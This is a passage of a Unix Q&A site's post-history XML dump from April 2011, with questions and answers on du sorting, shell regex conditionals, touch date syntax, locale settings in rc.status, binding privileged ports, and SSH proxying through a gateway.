/dev/sda1&#xD;&#xA;&#xD;&#xA;make any difference? This command tries to increase your filesystem to cover the entire partition. But make sure you have a backup if you try this." />
  <row Id="26030" PostHistoryTypeId="2" PostId="10780" RevisionGUID="ccdff873-d6a9-4e78-bcc1-ebb0b5a949ac" CreationDate="2011-04-06T20:00:42.967" UserId="885" Text="To list the files anywhere under `/tmp`, sorted by size:&#xD;&#xA;&#xD;&#xA;    find /tmp -type f -exec du -k {} + | sort -k1n -k2&#xD;&#xA;&#xD;&#xA;To list the files and directory trees immediately under `/tmp`, sorted by size:&#xD;&#xA;&#xD;&#xA;    du -k /tmp/..?* /tmp/.[!.]* /tmp* 2&gt;/dev/null | sort -k1n -k2&#xD;&#xA;&#xD;&#xA;To list all files and directory trees anywhere under `/tmp`, sorted by size:&#xD;&#xA;&#xD;&#xA;    du -ak /tmp | sort -k1n -k2&#xD;&#xA;&#xD;&#xA;(An example to illustrate the difference between the three commands: if there's a file `/tmp/dir/file`, the first command lists `/tmp/dir/file`, the second lists `/tmp/dir`, and the third lists both.)&#xD;&#xA;&#xD;&#xA;All the commands above show sizes in kilobytes. While GNU du can output “human-readable” sizes (with k, M, G, etc. multipliers), sorting them is another matter. Recent enough GNU coreutils (≥7.4) can do it: just replace `du -k` with `du -h` and `sort -k1n -k2` with `sort -k1h -k2`. Otherwise, here's a crude awk script to convert to suffixed sizes (rounding down); just pipe the `sort` output above into it.&#xD;&#xA;&#xD;&#xA;    awk -vFS='\t' -vOFS='\t' '{&#xD;&#xA;        if ($1) $1 = substr($1,1,(length($1)-1)%3+1)&#xD;&#xA;                     substr(&quot;kMGTPEZY&quot;,(length($1)-1)/3+1,1);&#xD;&#xA;        print}'&#xD;&#xA;" />
  <row Id="26031" PostHistoryTypeId="6" PostId="10768" RevisionGUID="720ee80f-bdf2-479d-ae68-60950b19f225" CreationDate="2011-04-06T20:01:05.307" UserId="885" Comment="edited tags" Text="éshellöscriptàédisköusageà" />
  <row Id="26039" PostHistoryTypeId="2" PostId="10781" RevisionGUID="4e628513-b40b-45be-b25b-c19740cd9ce3" CreationDate="2011-04-06T20:20:36.157" UserId="688" Text="Run ([as root][1]) `apt-get --auto-remove libgtk-3-common`, and it should remove **`gnome-shell`** too, which is a large part of what's billed as GNOME 3. And yes, it is possible to have both on your box, removing the need to purge stuff. I expect that you can even specify which session (GNOME 2 or 3) to run on start-up, but that's a separate question. Just ensure that you still have **`gnome-session`** installed. If you do, there probably is a bug somewhere. You might wanna have a look at `/var/log/apt/history.log` to trace your package installation/removal history.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/3063/688" />
  <row Id="26040" PostHistoryTypeId="2" PostId="10782" RevisionGUID="d1271796-d95f-4b79-847e-20a867e85dc3" CreationDate="2011-04-06T20:22:11.573" UserId="3127" Text="I want to test whether a line, read in from a file, has a specific beginning AND an ending containing a word held in a variable. Here's some code:&#xD;&#xA;&#xD;&#xA;The input file is:&#xD;&#xA;&#xD;&#xA;    line one&#xD;&#xA;    #; line two&#xD;&#xA;    #; line three blah&#xD;&#xA;    line four&#xD;&#xA;&#xD;&#xA;The MWE script is:&#xD;&#xA;&#xD;&#xA;    declare ENDOFLINE= &quot;blah&quot;&#xD;&#xA;    exec 3&lt; &quot;inputfile&quot;&#xD;&#xA;&#xD;&#xA;    while read LINE &lt;&amp;3&#xD;&#xA;    do&#xD;&#xA;    	if [[ (&quot;$LINE&quot; =~ &quot;^#;&quot;) &amp;&amp; (( (&quot;$LINE&quot; =~ &quot;${ENDOFLINE%$}&quot;) )) ]]; &#xD;&#xA;        then&#xD;&#xA;        echo score!&#xD;&#xA;        else echo no score&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;But, if I do:&#xD;&#xA;&#xD;&#xA;	if [[ (&quot;$LINE&quot; =~ &quot;^#;&quot;) &amp;&amp; (( (&quot;$LINE&quot; =~ &quot;blah$&quot;) )) ]];&#xD;&#xA;&#xD;&#xA;it succeeds in identifying the correct line (=&gt; #; line three blah). In other words, I need a compound test condition where the first test is whether the beginning of the line is '#;' and the end of the line is a string contained in the variable $ENDOFLINE .&#xD;&#xA;&#xD;&#xA;Thanks for any help." />
  <row Id="26041" PostHistoryTypeId="1" PostId="10782" RevisionGUID="d1271796-d95f-4b79-847e-20a867e85dc3" CreationDate="2011-04-06T20:22:11.573" UserId="3127" Text="ANDed conditional using regexp and variables" />
  <row Id="26042" PostHistoryTypeId="3" PostId="10782" RevisionGUID="d1271796-d95f-4b79-847e-20a867e85dc3" CreationDate="2011-04-06T20:22:11.573" UserId="3127" Text="éregexà" />
  <row Id="26043" PostHistoryTypeId="5" PostId="10782" RevisionGUID="961300e8-494d-4bf1-88f0-44230e2f249f" CreationDate="2011-04-06T20:34:25.620" UserId="3127" Comment="make it clearer by stating that the MWE fails" Text="I want to test whether a line, read in from a file, has a specific beginning AND an ending containing a word held in a variable. Here's some code:&#xD;&#xA;&#xD;&#xA;The input file is:&#xD;&#xA;&#xD;&#xA;    line one&#xD;&#xA;    #; line two&#xD;&#xA;    #; line three blah&#xD;&#xA;    line four&#xD;&#xA;&#xD;&#xA;The MWE script, which fails, is:&#xD;&#xA;&#xD;&#xA;    declare ENDOFLINE= &quot;blah&quot;&#xD;&#xA;    exec 3&lt; &quot;inputfile&quot;&#xD;&#xA;&#xD;&#xA;    while read LINE &lt;&amp;3&#xD;&#xA;    do&#xD;&#xA;    	if [[ (&quot;$LINE&quot; =~ &quot;^#;&quot;) &amp;&amp; (( (&quot;$LINE&quot; =~ &quot;${ENDOFLINE%$}&quot;) )) ]]; &#xD;&#xA;        then&#xD;&#xA;        echo score!&#xD;&#xA;        else echo no score&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;But, if I do:&#xD;&#xA;&#xD;&#xA;	if [[ (&quot;$LINE&quot; =~ &quot;^#;&quot;) &amp;&amp; (( (&quot;$LINE&quot; =~ &quot;blah$&quot;) )) ]];&#xD;&#xA;&#xD;&#xA;it succeeds in identifying the correct line (=&gt; #; line three blah). In other words, I need a compound test condition where the first test is whether the beginning of the line is '#;' and the end of the line is a string contained in the variable $ENDOFLINE .&#xD;&#xA;&#xD;&#xA;Thanks for any help." />
  <row Id="26044" PostHistoryTypeId="2" PostId="10783" RevisionGUID="abdb8d98-d71a-43bc-b228-5fdfa5f643cf" CreationDate="2011-04-06T20:37:45.740" UserId="6167" Text="The touch command is not a part of any shell that I am aware of.  At least according to my man page for both tcsh and bash, touch is not mentioned.  Instead touch is it's own command.  The touch command on Linux and *BSD will be slightly different, that's unavoidable, but you can write a wrapper around it if needed.  However, at first glance, the -t argument seems to be identical on both my Ubuntu Linux machine and my FreeBSD machine.  Here is the format according to the man page for touch on Ubuntu Linux 8.04:&#xD;&#xA;&#xD;&#xA;    touch [-t [[CC]YY]MMDDhhmm[.ss]]&#xD;&#xA;&#xD;&#xA;And on the man page on FreeBSD:&#xD;&#xA;&#xD;&#xA;    touch [-t [[CC]YY]MMDDhhmm[.SS]]&#xD;&#xA;&#xD;&#xA;I'm not sure where your odd time format for touch comes but look below.  The FreeBSD man page also goes into more detail about what those letters mean, but it's identical to the format used by Ye old date command used on FreeBSD:&#xD;&#xA;&#xD;&#xA;    date [-jnu] [[[[[CC]YY]MM]DD]hh]mm[.ss]&#xD;&#xA;&#xD;&#xA;It's actually the same format as both touch commands.  Oddly, though on Linux, they used a different and obscure format on the date command for some unknown reason:&#xD;&#xA;&#xD;&#xA;    date [MMDDhhmm[[CC]YY][.ss]]&#xD;&#xA;&#xD;&#xA;I have no idea why Linux put the year for date in-between the minutes and the seconds.  In case it's not clear, heres what the letters mean in all these commands:&#xD;&#xA;&#xD;&#xA;* CC - Century (00-99)&#xD;&#xA;* YY - Year of Century (00-99)&#xD;&#xA;* MM - Month (01-12)&#xD;&#xA;* DD - Day of month (01-31)&#xD;&#xA;* hh - Hour (00-23)&#xD;&#xA;* mm - Minute (00-59)&#xD;&#xA;* ss - Seconds (00-61) (yes, 61, not 59)" />
  <row Id="26045" PostHistoryTypeId="2" PostId="10784" RevisionGUID="fb54d675-1c9a-412c-bcbc-6c1c31122f25" CreationDate="2011-04-06T20:38:15.477" UserId="885" Text="Looks like a simple mistake: `${ENDOFLINE%$}` strips a `$` at the end of `$ENDOFLINE`, but what you want to do is use `$ENDOFLINE` literally and have a `$` after it to indicate the end of the line.&#xD;&#xA;&#xD;&#xA;    if [[ (&quot;$LINE&quot; =~ &quot;^#;&quot;) &amp;&amp; (( (&quot;$LINE&quot; =~ &quot;${ENDOFLINE}$&quot;) )) ]];&#xD;&#xA;&#xD;&#xA;This works in zsh but not in ksh or bash. Bash requires the regexp `$` to be unquoted (otherwise, it's interpreted literally), and ksh doesn't like double parentheses inside `[[ … ]]` (it interprets them as an arithmetic instruction). This simpler line works in all three shells (note that `[[…]]` is one of the few places where you don't need `&quot;…&quot;` around variable expansions):&#xD;&#xA;&#xD;&#xA;    if [[ $LINE =~ ^&quot;#;&quot; &amp;&amp; $LINE =~ $ENDOFLINE$ ]];&#xD;&#xA;" />
  <row Id="26046" PostHistoryTypeId="5" PostId="10782" RevisionGUID="8e0c69ae-240a-4367-96ab-9dbb756c301b" CreationDate="2011-04-06T20:40:22.497" UserId="2511" Comment="added 2 characters in body" Text="I want to test whether a line, read in from a file, has a specific beginning AND an ending containing a word held in a variable. Here's some code:&#xD;&#xA;&#xD;&#xA;The input file is:&#xD;&#xA;&#xD;&#xA;    line one&#xD;&#xA;    #; line two&#xD;&#xA;    #; line three blah&#xD;&#xA;    line four&#xD;&#xA;&#xD;&#xA;A minimal script, which fails, is:&#xD;&#xA;&#xD;&#xA;    declare ENDOFLINE= &quot;blah&quot;&#xD;&#xA;    exec 3&lt; &quot;inputfile&quot;&#xD;&#xA;&#xD;&#xA;    while read LINE &lt;&amp;3&#xD;&#xA;    do&#xD;&#xA;    	if [[ (&quot;$LINE&quot; =~ &quot;^#;&quot;) &amp;&amp; (( (&quot;$LINE&quot; =~ &quot;${ENDOFLINE%$}&quot;) )) ]]; &#xD;&#xA;        then&#xD;&#xA;        echo score!&#xD;&#xA;        else echo no score&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;But, if I do:&#xD;&#xA;&#xD;&#xA;	if [[ (&quot;$LINE&quot; =~ &quot;^#;&quot;) &amp;&amp; (( (&quot;$LINE&quot; =~ &quot;blah$&quot;) )) ]];&#xD;&#xA;&#xD;&#xA;it succeeds in identifying the correct line (=&gt; #; line three blah). In other words, I need a compound test condition where the first test is whether the beginning of the line is '#;' and the end of the line is a string contained in the variable $ENDOFLINE .&#xD;&#xA;&#xD;&#xA;Thanks for any help." />
  <row Id="26047" PostHistoryTypeId="6" PostId="10782" RevisionGUID="4faf9cb8-a1d4-48f2-b054-3b43c35f9bcb" CreationDate="2011-04-06T20:40:27.643" UserId="885" Comment="edited tags" Text="ébashàézshàéregexàékshà" />
  <row Id="26049" PostHistoryTypeId="2" PostId="10785" RevisionGUID="c2a763e6-78af-4112-9aae-d7cb0f15d93f" CreationDate="2011-04-06T21:01:04.203" UserId="6315" Text="After running a system update, in which the kernel was updated, when i try to boot arch (In single User, not quiet), I get the message bin/sh cant access tty and i get dropped at a prompt, but i can't type. I am dual-booting with OS X, if that makes a difference. " />
  <row Id="26050" PostHistoryTypeId="1" PostId="10785" RevisionGUID="c2a763e6-78af-4112-9aae-d7cb0f15d93f" CreationDate="2011-04-06T21:01:04.203" UserId="6315" Text="Arch Linux not functional after kernel upate" />
  <row Id="26051" PostHistoryTypeId="3" PostId="10785" RevisionGUID="c2a763e6-78af-4112-9aae-d7cb0f15d93f" CreationDate="2011-04-06T21:01:04.203" UserId="6315" Text="ékernelàéarchölinuxàébootàédualöbootàéttyà" />
  <row Id="26052" PostHistoryTypeId="25" PostId="10782" RevisionGUID="f29f0140-bfaa-4596-a907-ea9c18080e3a" CreationDate="2011-04-06T21:09:01.743" Comment="http://twitter.com/#!/StackUnix/status/55738806720143360" />
  <row Id="26053" PostHistoryTypeId="2" PostId="10786" RevisionGUID="d730f458-43e9-4bbb-9dab-89948aa8ac91" CreationDate="2011-04-06T21:17:27.937" UserId="885" Text="This isn't about the shell, `touch` is an external program.&#xD;&#xA;&#xD;&#xA;There were historically two syntaxes for the date argument to `touch`:&#xD;&#xA;&#xD;&#xA;    touch -t CCYYMMDDhhmm.SS    # CC or CCYY may be omitted; .SS may be omitted&#xD;&#xA;    touch MMDDhhmmYY            # YY may be omitted&#xD;&#xA;&#xD;&#xA;The command appeared in [Unix Seventh edition](http://www.freebsd.org/cgi/man.cgi?query=touch&amp;manpath=Unix+Seventh+Edition) with no date argument. BSD versions acquired the `-t` option (with all the date components in descending order) somewhere around [4.4BSD](http://www.freebsd.org/cgi/man.cgi?query=touch&amp;manpath=4.4BSD+Lite2). System V (e.g. [SunOS 4.1.3](http://www.freebsd.org/cgi/man.cgi?query=touch&amp;manpath=SunOS+4.1.3)) had the straight-date form with the year at the end. By the time of [Single Unix v2 (based on POSIX:1992)](http://pubs.opengroup.org/onlinepubs/7990989775/xcu/touch.html), the System V form was considered obsolescent, and it is no longer included in [Single Unix v3 (POSIX:2001)](http://pubs.opengroup.org/onlinepubs/009695399/utilities/touch.html).&#xD;&#xA;&#xD;&#xA;I recommend using the standard (BSD) syntax in your script. On the legacy systems that require the BSD syntax, arrange to have a compatible `touch`. Several approaches are possible:&#xD;&#xA;&#xD;&#xA;* Write a wrapper function that shuffles the arguments around if it detects that your script is running on a legacy system.&#xD;&#xA;* Arrange to have a `PATH` that puts the standard-compliant directories ahead of the legacy directories.&#xD;&#xA;* (You may get more specific advice if you post the exact legacy variants and versions you need to support.)&#xD;&#xA;" />
  <row Id="26054" PostHistoryTypeId="5" PostId="10784" RevisionGUID="4c19c90f-f9ef-4a1a-87f0-13ec3ff446ab" CreationDate="2011-04-06T21:27:35.187" UserId="885" Comment="explain when a single regexp is enough; show [[ $LINE = pattern ]]; show case $LINE in pattern" Text="Looks like a simple mistake: `${ENDOFLINE%$}` strips a `$` at the end of `$ENDOFLINE`, but what you want to do is use `$ENDOFLINE` literally and have a `$` after it to indicate the end of the line.&#xD;&#xA;&#xD;&#xA;    if [[ (&quot;$LINE&quot; =~ &quot;^#;&quot;) &amp;&amp; (( (&quot;$LINE&quot; =~ &quot;${ENDOFLINE}$&quot;) )) ]];&#xD;&#xA;&#xD;&#xA;This works in zsh but not in ksh or bash. Bash requires the regexp `$` to be unquoted (otherwise, it's interpreted literally), and ksh doesn't like double parentheses inside `[[ … ]]` (it interprets them as an arithmetic instruction). This simpler line works in all three shells (note that `[[…]]` is one of the few places where you don't need `&quot;…&quot;` around variable expansions):&#xD;&#xA;&#xD;&#xA;    if [[ $LINE =~ ^&quot;#;&quot; &amp;&amp; $LINE =~ $ENDOFLINE$ ]];&#xD;&#xA;&#xD;&#xA;If `$ENDOFLINE` never overlaps with `#;` (e.g. if `ENDOFLINE` is `;foo`, you'll be accepting `#;;foo` but rejecting `#;foo`), you can reduce this to a single test:&#xD;&#xA;&#xD;&#xA;    if [[ $LINE =~ ^&quot;#;&quot;.*$ENDOFLINE$ ]];&#xD;&#xA;&#xD;&#xA;You can also use a wildcard pattern instead of a regexp here:&#xD;&#xA;&#xD;&#xA;    if [[ $LINE = &quot;#;&quot;*&quot;$ENDOFLINE&quot; ]];&#xD;&#xA;&#xD;&#xA;The `[[…]]` construct doesn't exist in all shells, it's specific to bash, ksh and zsh. On other shells (Bourne, dash, anything POSIX), you can do wildcard matches with the `case` construct:&#xD;&#xA;&#xD;&#xA;    case $LINE in&#xD;&#xA;      &quot;#;&quot;*&quot;$ENDOFLINE&quot;) echo score;;&#xD;&#xA;      *) echo no score;;&#xD;&#xA;    esac&#xD;&#xA;" />
  <row Id="26055" PostHistoryTypeId="2" PostId="10787" RevisionGUID="d8c0b77d-ca85-47bd-a806-7dd3630f483f" CreationDate="2011-04-06T21:45:09.937" UserId="5267" Text="You can also do this using grep:&#xD;&#xA;&#xD;&#xA;    end=blah&#xD;&#xA;    while read line; do&#xD;&#xA;        if grep -Eq &quot;^#;.*$end$&quot; &lt;&lt;&lt; &quot;$line&quot;; then&#xD;&#xA;            echo score!&#xD;&#xA;        else&#xD;&#xA;            echo no score&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;(That's in bash; the syntax may be slightly different in other shells but the principle is the same.)&#xD;&#xA;" />
  <row Id="26057" PostHistoryTypeId="2" PostId="10788" RevisionGUID="19aa4d92-c671-4514-96ef-238cc0acd4a6" CreationDate="2011-04-06T23:30:10.263" UserId="885" Text="You can use the intermediate machine as a proxy. Make sure it has [netcat (`nc`)](http://en.wikipedia.org/wiki/Netcat) installed. Put the following lines in your `~/.ssh/config` (`foo` is a nickname for the inaccessible machine, `foo.example.com` is its name as seen from the intermediate machine, and `gateway.example.com` is the intermediate machine):&#xD;&#xA;&#xD;&#xA;    Host foo&#xD;&#xA;    HostName foo.example.com&#xD;&#xA;    ProxyCommand ssh gateway.example.com nc %h %p&#xD;&#xA;&#xD;&#xA;Then `ssh foo` will connect (in two hops, but that's completely transparent) to the inaccessible machine.&#xD;&#xA;" />
  <row Id="26058" PostHistoryTypeId="2" PostId="10789" RevisionGUID="6f2b325f-6cc8-4363-8137-8202dd32e28c" CreationDate="2011-04-06T23:35:33.607" UserId="6353" Text="I am currently creating a daemon service and in order to leverage existing service functionality, the startup script sources from /etc/status.&#xD;&#xA;&#xD;&#xA;This causes a problem with our service because within the first line, the locale is set to POSIX:&#xD;&#xA;&#xD;&#xA;    # Do _not_ be fooled by non POSIX locale&#xD;&#xA;    LC_ALL=POSIX&#xD;&#xA;    export LC_ALL&#xD;&#xA;&#xD;&#xA;The problem is that the services which gets started from the script inherit this locale setting.&#xD;&#xA;The simple fix around this would be to unset the locale prior to starting the child process. However, I do not know the implications of this. What are the consequences of re-setting the LC_ALL variable after sourcing from rc.status?" />
  <row Id="26059" PostHistoryTypeId="1" PostId="10789" RevisionGUID="6f2b325f-6cc8-4363-8137-8202dd32e28c" CreationDate="2011-04-06T23:35:33.607" UserId="6353" Text="Why does the rc.status file set the LC_ALL locale" />
  <row Id="26060" PostHistoryTypeId="3" PostId="10789" RevisionGUID="6f2b325f-6cc8-4363-8137-8202dd32e28c" CreationDate="2011-04-06T23:35:33.607" UserId="6353" Text="éshellàédaemontoolsà" />
  <row Id="26061" PostHistoryTypeId="2" PostId="10790" RevisionGUID="c7d097ab-ef39-4db5-a460-2d640ca2b9c7" CreationDate="2011-04-06T23:48:01.893" UserId="5325" Text="Many system daemons behave oddly if they are invoked with a non-POSIX locale; in particular, they often don't handle UTF-8 collation, which ignores case and punctuation.  Non-POSIX time formats can also result in logfiles that can't be parsed by standard tools, which generally expect a fixed time format.  More rarely, `LC_CTYPE` can cause problems.&#xD;&#xA;&#xD;&#xA;In general, if you need the system-wide locale setting in a daemon, you should get it from `/etc/sysconfig/language` after loading `rc.status`.  (This is assuming some variety of SuSE, which seems safe given `rc.status`; if it's a BSD, I don't know where it's currently stored.)  The variables will be the usual ones with `RC_` prepended (e.g. `RC_LC_ALL`)." />
  <row Id="26062" PostHistoryTypeId="2" PostId="10791" RevisionGUID="1e533ccf-dcbd-497d-bad0-010c376a0580" CreationDate="2011-04-06T23:53:09.613" UserId="885" Text="*(Some of these methods have been mentioned in other answers; I'm giving several possible choices in rough order of preference.)*&#xD;&#xA;&#xD;&#xA;You can redirect the low port to a high port and listen on the high port.&#xD;&#xA;&#xD;&#xA;    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 1080&#xD;&#xA;&#xD;&#xA;You can start your server as root and drop privileges after it's started listening on the privileged port. Preferably, rather than coding that yourself, start your server from a wrapper that does the job for you. If your server starts one instance per connection, start it from [`inetd`](http://en.wikipedia.org/wiki/Inetd) (or a similar program such as [`xinetd`](http://www.xinetd.org/)). For `inetd`, use a line like this in `/etc/inetd.conf`:&#xD;&#xA;&#xD;&#xA;    http  stream  tcp  nowait  username:groupname  /path/to/server/executable  argv[0] argv[1]…&#xD;&#xA;&#xD;&#xA;If your server listens in a single instance, start it from a program such as [`authbind`](http://en.wikipedia.org/wiki/Authbind). Either create an empty file `/etc/authbind/byport/80` and make it executable to the user running the server; or create `/etc/authbind/byuid/1234`, where 1234 is the UID running the server, containing the line `0.0.0.0/0:80,80`.&#xD;&#xA;&#xD;&#xA;If your server executable is stored on a filesystem that supports capabilities, you can give it the [`cap_net_bind_service`](http://www.lids.org/lids-howto/node46.html) [capability](http://www.friedhoff.org/posixfilecaps.html). Beware that capabilities are still relatively new and [still have a few kinks](http://www.sevagas.com/?POSIX-file-capabilities-the-dark).&#xD;&#xA;&#xD;&#xA;    setcap cap_net_bind_service=ep /path/to/server/executable&#xD;&#xA;" />
  <row Id="26063" PostHistoryTypeId="25" PostId="10789" RevisionGUID="b6c6fe90-e2b2-4b0f-ab59-d62613242765" CreationDate="2011-04-07T00:09:01.813" Comment="http://twitter.com/#!/StackUnix/status/55784104054112256" />
  <row Id="26064" PostHistoryTypeId="2" PostId="10792" RevisionGUID="92e99031-b284-4ece-aa6c-bdeddc976c95" CreationDate="2011-04-07T00:15:52.800" UserId="3983" Text="what about starting the program as root, bind the port, then drop privileges?" />
  <row Id="26065" PostHistoryTypeId="2" PostId="10793" RevisionGUID="16e71cc8-9ae3-4949-bc77-b48ba7295387" CreationDate="2011-04-07T00:27:23.653" UserId="3127" Text="I have a string contained in a variable, and I want to extract substrings based on position relative to another substring. My solution seems to work unless the string is sent to a function as an arg. I am using the bash shell.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/bash&#xD;&#xA;&#xD;&#xA;    var0=&quot;-a check one two three&quot;&#xD;&#xA;    var1=&quot;check&quot;&#xD;&#xA;    &#xD;&#xA;    function getsubstr() {&#xD;&#xA;    echo ${*#*&quot;${2}&quot;} &#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # this prints 'one two three' which is what I want&#xD;&#xA;    echo ${var0#*&quot;${var1}&quot;}&#xD;&#xA;    &#xD;&#xA;    # this prints '-a one two three', not what I want.&#xD;&#xA;    getsubstr $var0&#xD;&#xA;&#xD;&#xA;note that when I put `echo $*` in the `getsubstr` function it prints the same string as `$var0` (-&gt; '-a check one two three'), and that when I put `echo $2` in the `getsubstr` function is prints the same string as `$var1` (-&gt; 'check'). So, it seems to me that I'm asking to print the same substring in both circumstances.&#xD;&#xA;&#xD;&#xA;A further conundrum is that if, instead of `echo ${*#*&quot;${2}&quot;}` in the `getsubstr` function I use `echo ${*%&quot;${2}&quot;*}` , I get the exact same result.&#xD;&#xA;&#xD;&#xA;Any help in understanding this behavior would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;BTW, I realize that  `${*:3}` inside the `getsubstr` function works to return the substring I want, but I'm trying to understand the `#*&lt;regexp&gt;` and `%&lt;regextp&gt;*` behavior." />
  <row Id="26066" PostHistoryTypeId="1" PostId="10793" RevisionGUID="16e71cc8-9ae3-4949-bc77-b48ba7295387" CreationDate="2011-04-07T00:27:23.653" UserId="3127" Text="substrings and regexps" />
  <row Id="26067" PostHistoryTypeId="3" PostId="10793" RevisionGUID="16e71cc8-9ae3-4949-bc77-b48ba7295387" CreationDate="2011-04-07T00:27:23.653" UserId="3127" Text="ébashàéregexà" />
  <row Id="26068" PostHistoryTypeId="2" PostId="10794" RevisionGUID="0f83e327-4a27-4750-bfec-c6d3ec66f759" CreationDate="2011-04-07T00:32:28.080" UserId="1338" Text="    function getsubstr() {&#xD;&#xA;    echo ${*#*&quot;${2}&quot;} &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    getsubstr $var0&#xD;&#xA;&#xD;&#xA;What is `$2`?" />
  <row Id="26069" PostHistoryTypeId="12" PostId="10794" RevisionGUID="38ae7693-463a-455b-ac24-ad3b9e229e66" CreationDate="2011-04-07T00:32:48.360" UserId="1338" Text="[{&quot;Id&quot;:1338,&quot;DisplayName&quot;:&quot;SiegeX&quot;}]" />
  <row Id="26070" PostHistoryTypeId="5" PostId="10794" RevisionGUID="e45df781-e646-4098-93ef-d34c474819b6" CreationDate="2011-04-07T00:43:06.577" UserId="1338" Comment="added 202 characters in body; added 173 characters in body; added 2 characters in body" Text="The following works, as to why you need the temp var, I'll need to research a bit further.  &#xD;&#xA;&#xD;&#xA;    getsubstr() {&#xD;&#xA;      foo=$*&#xD;&#xA;      echo ${foo#*$2}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**P.S.**&#xD;&#xA;&#xD;&#xA;Don't use `function` as it's not POSIX and actually completely unnecessary if you are already using `()` after your function name.&#xD;&#xA;&#xD;&#xA;**P.P.S**&#xD;&#xA;&#xD;&#xA;This actually has nothing to do with *regular expressions* but rather *globular expressions*.  More formally these are known as ***Parameter Expansions***" />
  <row Id="26071" PostHistoryTypeId="13" PostId="10794" RevisionGUID="956a7900-68fe-4ba3-b7f4-b9f0d300abf9" CreationDate="2011-04-07T00:43:10.633" UserId="1338" Text="[{&quot;Id&quot;:1338,&quot;DisplayName&quot;:&quot;SiegeX&quot;}]" />
  <row Id="26072" PostHistoryTypeId="2" PostId="10795" RevisionGUID="1f1c3af8-0279-4a71-97d4-510e35c79a94" CreationDate="2011-04-07T02:33:07.757" UserId="4159" Text="It is indeed a buggy driver paired with old kernel. Using the latest kernel (2.6.38) solves the problem.&#xD;&#xA;&#xD;&#xA;I installed Ubuntu 11.04, and everything is normal again." />
  <row Id="26073" PostHistoryTypeId="25" PostId="10793" RevisionGUID="0cc2bcc0-2a56-46ab-b1e2-02b2bd94107b" CreationDate="2011-04-07T03:09:01.887" Comment="http://twitter.com/#!/StackUnix/status/55829404584120321" />
  <row Id="26078" PostHistoryTypeId="5" PostId="10794" RevisionGUID="014f8ec3-2b8c-4a5a-ac06-9ce16bedd934" CreationDate="2011-04-07T05:10:10.970" UserId="1338" Comment="added 553 characters in body" Text="###Update with explanation###&#xD;&#xA;&#xD;&#xA;The reason you are seeing this type of behavior is because `$*` or even `$@` expands to all the positional parameters: `$1`, `$2` etc.  When you attempt to do a ***Parameter Expansion*** (PE) on either one of those two special vars, you are applying the PE to each positional parameter and *not* a single string.  &#xD;&#xA;&#xD;&#xA;Essentially what you are doing is this:&#xD;&#xA;&#xD;&#xA;    getsubstr() { &#xD;&#xA;      tmp=$2&#xD;&#xA;      for arg; do &#xD;&#xA;        printf &quot;%s &quot; ${1#*$tmp}&#xD;&#xA;        shift&#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The following function works by setting `$*` to a temp var `$tmp` because you are now applying the PE to a normal variable once.&#xD;&#xA;&#xD;&#xA;    getsubstr() {&#xD;&#xA;      tmp=$*&#xD;&#xA;      echo ${tmp#*$2}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**P.S.**&#xD;&#xA;&#xD;&#xA;Don't use `function` as it's not POSIX and actually completely unnecessary if you are already using `()` after your function name.&#xD;&#xA;&#xD;&#xA;**P.P.S**&#xD;&#xA;&#xD;&#xA;This actually has nothing to do with *regular expressions* but rather *globular expressions*.  More formally these are known as ***Parameter Expansions***" />
  <row Id="26079" PostHistoryTypeId="5" PostId="10794" RevisionGUID="d304ac2e-437c-440a-b2d5-b97c144c6660" CreationDate="2011-04-07T05:27:07.207" UserId="1338" Comment="added 686 characters in body" Text="###Update with explanation###&#xD;&#xA;&#xD;&#xA;The reason you are seeing this type of behavior is because `$*` or even `$@` expands to all the positional parameters: `$1`, `$2` etc.  When you attempt to do a ***Parameter Expansion*** (PE) on either one of those two special vars, you are applying the PE to each positional parameter and *not* a single string.  &#xD;&#xA;&#xD;&#xA;###Excerpt from `man bash`###&#xD;&#xA;&#xD;&#xA;&gt;  **${parameter#word}**&lt;br&gt;&#xD;&#xA;&gt;               Remove matching prefix pattern.  The word is expanded to&#xD;&#xA;&gt; produce a pattern just as in pathname&#xD;&#xA;&gt;               expansion.  If the pattern matches the beginning of the&#xD;&#xA;&gt; value of parameter, then the result of&#xD;&#xA;&gt;               the expansion is the expanded value of parameter with the&#xD;&#xA;&gt; shortest matching pattern (the ``#''&#xD;&#xA;&gt;               case)  or the longest matching pattern (the ``##'' case)&#xD;&#xA;&gt; deleted.  **If parameter is @ or *, the&#xD;&#xA;&gt;               pattern removal operation is applied to each&#xD;&#xA;&gt; positional parameter in turn, and  the&#xD;&#xA;&gt; expansion&#xD;&#xA;&gt;               is the resultant list.**&#xD;&#xA;&#xD;&#xA;Essentially what you are doing is this:&#xD;&#xA;&#xD;&#xA;    getsubstr() { &#xD;&#xA;      tmp=$2&#xD;&#xA;      for arg; do &#xD;&#xA;        printf &quot;%s &quot; ${1#*$tmp}&#xD;&#xA;        shift&#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The following function works by setting `$*` to a temp var `$tmp` because you are now applying the PE to a normal variable once.&#xD;&#xA;&#xD;&#xA;    getsubstr() {&#xD;&#xA;      tmp=$*&#xD;&#xA;      echo ${tmp#*$2}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**P.S.**&#xD;&#xA;&#xD;&#xA;Don't use `function` as it's not POSIX and actually completely unnecessary if you are already using `()` after your function name.&#xD;&#xA;&#xD;&#xA;**P.P.S**&#xD;&#xA;&#xD;&#xA;This actually has nothing to do with *regular expressions* but rather *globular expressions*.  More formally these are known as ***Parameter Expansions***" />
